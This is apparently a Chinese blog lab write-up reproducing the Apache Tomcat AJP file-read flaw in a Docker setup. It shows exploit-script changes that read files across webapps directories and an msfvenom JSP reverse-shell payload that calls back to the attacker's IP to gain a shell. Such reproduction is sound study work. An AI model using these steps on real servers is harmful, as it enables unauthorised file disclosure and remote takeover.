1.影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
2.复现
2.1准备
攻击机:kali 192.168.227.130
centos7 192.168.227.132
docker
工具:
six
2.2环境搭建
选取一个版本受影响的Tomcat,这里用Docker hub上的9.0.30版本的Tomcat镜像来复现
下载镜像
docker pull tomcat:9.0.30-jdk8-adoptopenjdk-hotspot
运行容器
docker run --rm -p 8009:8009 -p 8080:8080 -d tomcat:9.0.30-jdk8-adoptopenjdk-hotspot

进入容器里的/usr/local/tomcat目录, 将webapps.dist下的内容复制到webapps目录下

sudo docker exec -it f1fb52142e4d(容器id) /bin/bash

cp -r webapps.dist/* webapps/
访问8080端口,查看Tomcat是否正常运行

3.跨目录读取
nmap扫描

发现开放8009和8080端口
可用用脚本读取ROOT目录下的文件,如果想读取webapps其他目录下的文件, 可以对脚本进行简单的修改
修改脚本里的“/asdf”就可以实现跨目录读取. 比如我们要读取test目录下的test.txt
_,data = t.perform_request('/test/asdf',attributes=[

在webapps下的创建一个test目录, 放上一个test.txt文件

然后用修改后的脚本读取这个文件即可

4.反弹shell
如果服务器同时存在文件上传漏洞, 则可以进一步取得shell. 我们先修改一下脚本, 在“/asdf”后面加上“.jsp”即可
_,data = t.perform_request('/asdf.jsp',attributes=[

生成Payload, 其中192.168.227.130是攻击者地址
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.227.130 LPORT=4444 > shell.txt
设置好payload,然后开始监听

将shell.txt放到webapps的ROOT目录下后,运行脚本

附(拷贝本地文件到docker容器)
1,确定我们的容器名,并获取容器长ID
docker inspect -f '{{.ID}}' frosty_feynman
2,拷贝本地文件到容器
docker cp 你的文件路径 容器长ID:docker容器路径



得到shell

本文详细介绍如何在特定版本的Apache Tomcat中复现并利用跨目录读取漏洞,包括环境搭建、跨目录读取、反弹shell等步骤,以及如何通过修改脚本进一步利用文件上传漏洞。
1204

被折叠的 条评论
为什么被折叠?



